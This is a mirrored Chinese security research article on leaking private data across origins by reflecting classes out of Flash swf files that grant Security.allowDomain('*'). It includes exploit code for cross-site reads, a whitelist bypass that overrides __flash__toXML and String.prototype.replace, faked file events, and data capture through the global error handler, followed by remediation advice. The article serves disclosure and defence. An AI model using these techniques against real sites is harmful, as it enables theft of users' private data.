隱私洩露殺手鐧:Flash 許可權反射

wyzsk發表於2020-08-19
作者: EtherDream · 2015/04/20 10:01

0x00 前言


一直以為該風險早已被重視,但最近無意中發現,仍有不少網站存在該缺陷,其中不乏一些常用的郵箱、社交網站,於是有必要再探討一遍。

事實上,這本不是什麼漏洞,是 Flash 與生俱來的一個正常功能。但由於一些 Web 開發人員瞭解不夠深入,忽視了該特性,從而埋下安全隱患。

0x01 原理


這一切還得從經典的授權操作說起:

#!javascript
Security.allowDomain('*')

對於這行程式碼,或許都不陌生。儘管知道使用 * 是有一定風險的,但想想自己的 Flash 裡並沒有什麼高危操作,把我拿去又能怎樣?

顯然,這還停留在 XSS 的思維上。Flash 和 JS 通訊確實存在 XSS 漏洞,但要找到一個能利用的 swf 檔案並不容易:既要讀取環境引數,又要回撥給 JS,還得確保自動執行。

因此,一些開發人員以為只要不與 JS 通訊,就高枕無憂了。同時為了圖方便,直接給 swf 授權了 *,省去一大堆信任列表。

事實上,Flash 被網頁巢狀僅僅是其中一種而已,更普遍的,則是 swf 之間的巢狀。然而無論何種方式,都是透過 Security.allowDomain 進行授權的 —— 這意味著,一個 * 不僅允許被第三方網頁呼叫,同時還包括了其他任意 swf!

被網頁巢狀,或許難以找到利用價值。但被自己的同類巢狀,可用之處就大幅增加了。因為它們都是 Flash,位於同一個執行時裡,相互之間存在著密切的關聯。

我們如何將這種關聯,進行充分利用呢?

0x02 利用


關聯容器

在 Flash 裡,舞臺(stage)是這個世界的根基。無論載入多少個 swf,舞臺始終只有一個。任何元素(DisplayObject)必須新增到舞臺、或其子容器下,才能展示和互動。

因此,不同 swf 建立的元素,都是透過同一個舞臺展示的。它們能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

然而,一旦某個 swf 主動開放許可權,那麼它的元素就不再受到保護,能被任意 swf 訪問了!

聽起來似乎不是很嚴重。我建立的介面元素,又有何訪問價值?也就獲取一些座標、顏色等資訊而已。

偷窺元素的自身屬性,或許並沒什麼意義。但並非所有的元素,都是為了純粹展示的 —— 有時為了擴充套件功能,繼承了元素類的特徵,在此之上實現額外的功能。

最典型的,就是每個 swf 的主類:它們都繼承於 Sprite,即使程式裡沒用到任何介面相關的。

有這樣擴充套件元素存在,我們就可以訪問那些額外的功能了。

開始我們的第一個案例。某個 swf 的主類在 Sprite 的基礎上,擴充套件了網路載入的功能:

#!javascript
// vul.swf
public class Vul extends Sprite {

    public var urlLoader:URLLoader = new URLLoader();

    public function download(url:String) : void {
        urlLoader.load(new URLRequest(url));
        ...
    }

    public function Vul() {
        Security.allowDomain('*');
        ...
    }
    ...
}

透過第三方 swf,我們將其載入進來。由於 Vul 繼承了 Sprite,因此擁有了元素的基因,我們可以從容器中找到它。

同時它也是主類,預設會被新增到 Loader 這個載入容器裡。

#!javascript
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var main:* = DisplayObjectContainer(loader).getChildAt(0);

    trace(main);    // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));

因為 Loader 是子 swf 的預設容器,所以其中第一個元素顯然就是子 swf 的主類:Vul。

由於 Vul 定義了一個叫 download 的公開方法,並且授權了所有的域名,因此在第三方 exp.swf 裡,自然也能呼叫它:

#!javascript
main.download('//swf-site/data');

同時 Vul 中的 urlLoader 也是一個公開暴露的成員變數,同樣可被外部訪問到,並對其新增資料接收事件:

#!javascript
var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
    trace(ld.data);
});

儘管這個 download 方法是由第三方 exp.swf 發起的,但最終執行 URLLoaderload 方法時,上下文位於 vul.swf 裡,因此這個請求仍屬於 swf-site 的源。

於是攻擊者從任意位置,跨站訪問 swf-site 下的資料了。

更糟的是,Flash 的跨源請求可透過 crossdomain.xml 來授權。如果某個站點允許 swf-site,那麼它也成了受害者。

如果使用者正處於登入狀態,攻擊者悄悄訪問帶有個人資訊的頁面,使用者的隱私資料可能就被洩露了。攻擊者甚至還可模擬使用者請求,將惡意連結傳送給其他好友,導致蠕蟲傳播。

ActionScript 雖然是強型別的,但只是開發時的約束,在執行時仍和 JavaScript 一樣,可動態訪問屬性。

類反射

透過容器這個橋樑,我們可訪問到子 swf 中的物件。但前提條件仍過於理想,現實中能利用的並不多。

如果目標物件不是一個元素,也沒有和公開的物件相關聯,甚至根本就沒有被例項化,那是否就無法獲取到了?

做過頁遊開發的都試過,將一些後期使用的素材打包在獨立的 swf 裡,需要時再載入回來從中提取。目標 swf 僅僅是一個資源包,其中沒有任何指令碼,那是如何引數提取的?

事實上,整個過程無需子 swf 參與。所謂的『提取』,其實就是 Flash 中的反射機制。透過反射,我們即可隔空取物,直接從目標 swf 中取出我們想要的類。

因此我們只需從目標 swf 裡,找到一個使用了網路介面類,即可嘗試為我們效力了。

開始我們的第二個案例。這是某電商網站 CDN 上的一個廣告活動 swf,反編譯後發現,其中一個類裡封裝了簡單的網路操作:

#!javascript
// vul.swf
public class Tool {
    public function getUrlData(url:String, cb:Function) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            cb(ld.data);
        });
        ...
    }
    ...

在正常情況下,需一定的互動才會建立這個類。但反射,可以讓我們避開這些條件,提取出來直接使用:

#!javascript
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
    var obj:* = new cls;

    obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
        trace(d);
    });
});
loader.load(new URLRequest('//swf-site/vul.swf'));

由於 victim-site/crossdomain.xml 允許 swf-site 訪問,於是 vul.swf 在不經意間,就充當了隱私洩露的傀儡。

攻擊者擁有了 victim-site 的訪問權,即可跨站讀取頁面資料,訪問使用者的個人資訊了。

由於大多 Web 開發者對 Flash 的安全仍侷限於 XSS 之上,從而忽視了這類風險。即使在如今,網路上仍存在大量可被利用的缺陷 swf 檔案,甚至不乏一些大網站也紛紛中招。

當然,即使有反射這樣強大的武器,也並非所有的 swf 都是可以利用的。顯然,要符合以下幾點才可以:

  • 執行 Security.allowDomain(可控站點)

  • 能控制觸發 URLLoader/URLStream 的 load 方法,並且 url 引數能自定義

  • 返回的資料可被獲取

第一條:這就不用說了,反射的前提也是需要對方授權的。

第二條:理想情況下,可直接呼叫反射類中提供的載入方法。但現實中未必都是 public 的,這時就無法直接呼叫了。只能分析程式碼邏輯,看能不能透過公開的方法,構造條件使得流程走到請求傳送的那一步。同時 url 引數也必須可控,否則也就沒意義了。

第三條:如果只能將請求傳送出去,卻不能拿到返回的內容,同樣也是沒有意義的。

也許你會說,為什麼不直接反射出目標 swf 中的 URLLoader 類,那不就可以直接使用了嗎。然而事實上,光有類是沒用的,Flash 並不關心這個類來自哪個 swf,而是看執行 URLLoader::load 時,當前位於哪個 swf。如果在自己的 swf 裡呼叫 load,那麼請求仍屬於自己的源。

同時,AS3 裡已沒有 eval 函式了。唯一能讓資料變指令的,就是 Loader::loadBytes,但這個方法也有類似的判斷。

因此我們還是得透過目標 swf 裡的已有的功能,進行利用。

0x03 案例


這裡分享一個現實中的案例,之前已上報並修復了的。

這是 126.com 下的一個 swf,位於 http://mail.126.com/js6/h/flashRequest.swf

反編譯後可發現,主類初始化時就開啟了 * 的授權,因此整個 swf 中的類即可隨意使用了!

同時,其中一個叫 FlashRequest 的類,封裝了常用的網路操作,並且關鍵方法都是 public 的:

我們將其反射出來,根據其規範呼叫,即可發起跨源請求了!

由於網易不少站點的 crossdomain.xml 都授權了 126.com,因此可暗中檢視已登入使用者的 163/126 郵件了:

甚至還可以讀取使用者的通訊錄,將惡意連結傳播給更多的使用者!

0x04 進階


藉助爬蟲和工具,我們可以找出不少可輕易利用的 swf 檔案。不過本著研究的目的,我們繼續探討一些需仔細分析才能利用的案例。

進階 No.1 —— 繞過路徑檢測

當然也不是所有的開發人員,都是毫不思索的使用 Security.allowDomain('*') 的。

一些有安全意識的,即使用它也會考慮下當前環境是否正常。例如某個郵箱的 swf 初始化流程:

#!javascript
// vul-1.swf
public function Main() {
    var host:String = ExternalInterface.call('function(){return window.location.host}');

    if host not match white-list
        return

    Security.allowDomain('*');
    ...

它會在授權之前,對巢狀的頁面進行判斷:如果不在白名單列表裡,那就直接退出。

由於白名單的匹配邏輯很簡單,也找不出什麼瑕疵,於是只能將目光轉移到 ExternalInterface 上。為什麼要使用 JS 來獲取路徑?

因為 Flash 只提供當前 swf 的路徑,並不知道自己是被誰巢狀的,於是只能用這種曲線救國的辦法了。

不過上了 JS 的賊船,自然就躲不過厄運了。有數不清的前端黑魔法正等著躍躍欲試。Flash 要和各種千奇百怪的瀏覽器通訊,顯然需要一套訊息協議,以及一個 JS 版的中間橋樑,用以支撐。瞭解 Flash XSS 的應該都不陌生。

在這個橋樑裡,其中有一個叫 __flash__toXML 的函式,負責將 JS 執行後的結果,封裝成訊息協議返回給 Flash。如果能搞定它,那一切就好辦了。

顯然這個函式預設是不存在的,是載入了 Flash 之後才註冊進來的。既然是一個全域性函式,頁面中的 JS 也能重定義它:

#!javascript
// exp-1.js
function handler(str) {
    console.log(str);
    return '<string>hi,jack</string>';
}
setInterval(function() {
    var rawFn = window.__flash__toXML;
    if (rawFn && rawFn != handler) {
        window.__flash__toXML = handler;
    }
}, 1);

透過定時器不斷監控,一旦出現就將其重定義。於是用 ExternalInterface.call 無論執行什麼程式碼,都可以隨意返回內容了!

為了消除定時器的延遲誤差,我們先在自己的 swf 裡,隨便呼叫下 ExternalInterface.call 進行預熱,讓 __flash__toXML 提前注入。之後子 swf 使用時,已經是被覆蓋的版本了。

當然,即使不使用覆蓋的方式,我們仍可以控制 __flash__toXML 的返回結果。

仔細分析下這個函式,其中呼叫了 __flash__escapeXML

#!javascript
function __flash__toXML(value) {
    var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    ...
}

function __flash__escapeXML(s) {
    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
}

裡面有一大堆的實體轉義,但又如何進行利用?

因為它是呼叫 replace 進行替換的,然而在萬惡的 JS 裡,常用的方法都是可被改寫的!我們可以讓它返回任何想要的值:

#!javascript
// exp-1.js
String.prototype.replace = function() {
    return 'www.test.com';
};

甚至還可以針對 __flash__escapeXML 的呼叫,返回特定值:

#!javascript
String.prototype.replace = function F() {
    if (F.caller == __flash__escapeXML) {
        return 'www.test.com';
    }
    ...
};

於是 ExternalInterface.call 的問題就這樣解決了。人為返回一個白名單裡的域名,即可繞過初始化中的檢測,從而順利執行 Security.allowDomain(*)。

所以,絕不能相信 JS 返回的內容。連標點符號都不能信!

進階 No.2 —— 構造請求條件

下面這個案例,是某社交網站的頭像上傳 Flash。

不像之前那些,都可順利找到公開的網路介面。這個案例十分苛刻,搜尋整個專案,只出現一處 URLLoader,而且還是在 private 方法裡。

#!javascript
// vul-2.swf
public class Uploader {

    public function Uploader(file:FileReference) {
        ...
        file.addEventListener(Event.SELECT, handler);
    }

    private function handler(e:Event) : void {
        var file:FileReference = e.target as FileReference;

        // check filename and data
        file.name ...
        file.data ...

        // upload(...)
    }

    private function upload(...) : void {
        var ld:URLLoader = new URLLoader();
        var req:URLRequest = new URLRequest();
        req.method = 'POST';
        req.data = ...;
        req.url = Param.service_url + '?xxx=' ....
        ld.load(req);
    }
}

然而即使要觸發這個方法也非常困難。因為這是一個上傳控制元件,只有當使用者選擇了檔案對話方塊裡的圖片,並透過引數檢驗,才能走到最終的上傳位置。

唯一可被反射呼叫的,就是 Uploader 類自身的構造器。同時控制傳入的 FileReference 物件,來構造條件。

#!javascript
// exp-2.swf
var file:FileReference = new FileReference();

var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);

然而 FileReference 不同於一般的物件,它會調出介面。如果中途彈出檔案對話方塊,並讓使用者選擇,那絕對是不現實的。

不過,彈框和回撥只是一個因果關係而已。彈框會產生回撥,但回撥未必只有彈框才能產生。因為 FileReference 繼承了 EventDispatcher,所以我們可以人為的製造一個事件:

#!javascript
file.dispatchEvent(new Event(Event.SELECT));

這樣,就進入檔案選中後的回撥函式里了。

由於這一步會校驗檔名、內容等屬性,因此還得事先給這些屬性賦值。然而遺憾的是,這些屬性都是隻讀的,根本無法設定。

等等,為什麼會有隻讀的屬性?屬性不就是一個成員變數嗎,怎麼做到只能讀不可寫?除非是 const,但那是常量,並非只讀屬性。

原來,所謂的只讀,就是隻提供了 getter、但沒有 setter 的屬性。這樣就保證了屬性內部可變,但外部不可寫的特徵。

如果我們能 hook 這個 getter,那就能返回任意值了。然而 AS 裡的類預設都是密閉的,不像 JS 那樣靈活,可隨意篡改原型鏈。

事實上在高階語言裡,有著更為優雅的 hook 方式,我們稱作『重寫』。我們建立一個繼承 FileReference 的類,即可重寫那些 getter 了:

#!javascript
// exp-2.swf
class FileReferenceEx extends FileReference {

    override public function get name() : String {
        return 'hello.gif';
    }
    override public function get data() : ByteArray {
        var bytes:ByteArray = new ByteArray();
        ...
        return bytes;
    }
}

根據著名的『里氏替換原則』,任何基類可以出現的地方,子類也一定可以出現。所以傳入這個 FileReferenceEx 也是可接受的,之後一旦訪問 name 等屬性時,自然就落到我們的 getter 上了。

#!javascript
// exp-2.swf
var file:FileReference = new FileReferenceEx();  // !!!
...
var obj:* = new cls(file);

到此,我們成功模擬了檔案選擇的整個流程。

接著就到關鍵的上傳位置了。慶幸的是,它沒寫死上傳地址,而是從環境變數(loaderInfo.parameters)裡讀取。

說到環境變數,大家首先想到網頁中 Flash 元素的 flashvars 屬性,但其實還有兩個地方可以傳入:

  • swf url query(例如 .swf?a=1&b=2)

  • LoaderContext

由於 url query 是固定的,後期無法修改,所以選擇 LoaderContext 來傳遞:

#!javascript
// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
    'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因為 LoaderContext 裡的 parameters 是執行時共享的,這樣就能隨時更改環境變數了:

#!javascript
// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';

同時為了不讓多餘的引數傳送上去,還可以在 URL 末尾放置一個 #,讓後面多餘的部分變成 Hash,就不會走流量了。

儘管這是個很苛刻的案例,但仔細分析還是找出解決辦法的。

當然,我們目的並不是為了結果,而是其中分析的樂趣:)

進階 No.3 —— 捕獲返回資料

當然,光把請求傳送出去還是不夠的,如果無法拿到返回的結果,那還是白忙活。

最理想的情況,就是能傳入回撥介面,這樣就可直接獲得資料了。但現實未必都是這般美好,有時我們得自己想辦法取出資料。

一些簡單的 swf 通常不會封裝一個的網路請求類,每次使用時都直接寫原生的程式碼。這樣,可控的因子就少很多,利用難度就會大幅提升。

例如這樣的場景,儘管能控制請求地址,但由於沒法拿到 URLLoader,也就無從獲取返回資料了:

#!javascript
public function download(url:String) : void {
    var ld:URLLoader = new URLLoader();
    ld.load(new URLRequest(url));
    ld.addEventListener('complete', function(e:Event) : void {
        // do nothing
    });
}

但通常不至於啥也不做,多少都會處理下返回結果。這時就得尋找機會了。

一旦將資料賦值到公開的成員變數裡,那麼我們就可透過輪詢的方式來獲取了:

#!javascript
public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
    data = e.data;
});

或者,將資料存放到了某個元素裡,用於顯示:

#!javascript
private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
    textbox.text = e.data;
});

同樣可以利用文章開頭提到的方法,從父容器裡找出相應的元素,定時輪詢其中的內容。

不過這些都算容易解決的。在一些場合,返回的資料根本不符合預期的格式,因此就無法處理直接報錯了。

下面是個非常普遍的案例。在接收事件裡,將資料進行固定格式的解碼:

#!javascript
// vul-3.swf
import com.adobe.serialization.json.JSON;

ld.addEventListener('complete', function(e:Event) : void {
    var data:* = JSON.decode(e.data);
    ...
});

因為開發人員已經約定使用 JSON 作為返回格式,所以壓根就沒容錯判斷,直接將資料進行解碼。

然而我們想要跨站讀取的檔案,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在這裡了。

難道就此放棄?都報錯無法往下走了,那還能怎麼辦。唯一可行的,就是將錯就錯,往『錯誤』的方向走。

一個強大的執行時系統,都會提供一些介面,供開發者捕獲全域性異常。HTML 裡有,Flash 裡當然也有,甚至還要強大的多 —— 不僅能夠獲得錯誤相關的資訊,甚至還能拿到 throw 出來的那個 Error 物件!

一般通用的類庫,往往會有健全的引數檢驗。當遇到不合法的引數時,通常會將引數連同錯誤資訊,作為異常丟擲來。如果某個異常物件裡,正好包含了我們想要的敏感資料的話,那就非常美妙了。

就以 JSON 解碼為例,我們寫個 Demo 驗證一下:

#!javascript
var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);

我們嘗試將 HTML 字元傳入 JSON 解碼器,最終被斷在了類庫丟擲的異常處:

異常中的前兩個引數,看起來沒多大意義。但第三個引數,裡面究竟藏著是什麼?

不用猜想,這正是我們想要的東西 —— 傳入解碼器的整個字元引數!

如此,我們就可在全域性異常捕獲中,拿到完整的返回資料了:

#!javascript
loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
    trace(e.error.text);
});

驚呆了吧!只要仔細探索,一些看似不可能實現的,其實也能找到解決方案。

0x05 補救


如果從程式碼層面來修補,短時間內也難以完成。

大型網站長期以來,積累了相當數量的 swf 檔案。有時為了解決版本衝突,甚至在檔名裡使用了時間、摘要等隨機數,這類的 swf 當時的原始碼,或許早已不再維護了。

因此,還是得從網站自身來強化。crossdomain.xml 中不再使用的域名就該儘早移除,需要則儘可能縮小子域範圍。畢竟,只要出現一個帶缺陷的 swf 檔案,整個站點的安全性就被拉低了。

事實上,即使透過反射目標 swf 實現的跨站請求,referer 仍為攻擊者的頁面。因此,涉及到敏感資料讀取的操作,驗證一下來源還是很有必要的。

作為使用者來說,禁用第三方 cookie 實在太有必要了。如今 Safari 已預設禁用,而 Chrome 則仍需手動新增。

0x06 總結


最後總結下,本文提到的 3 類許可權:

  • 程式碼層面(public / private / ...)

  • 模組層面(Security.allowDomain)

  • 站點層面(crossdomain.xml)

只要這幾點都滿足,就很有可能被用於跨源的請求。

也許會覺得 Flash 裡坑太多了,根本防不勝防。但事實上這些特徵早已存在,只是未被開發者重視而已。以至於各大網站如今仍普遍躺槍。

當然,資訊洩露對每個使用者都是受害者。希望能讓更多的開發者看到,及時修復安全隱患。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章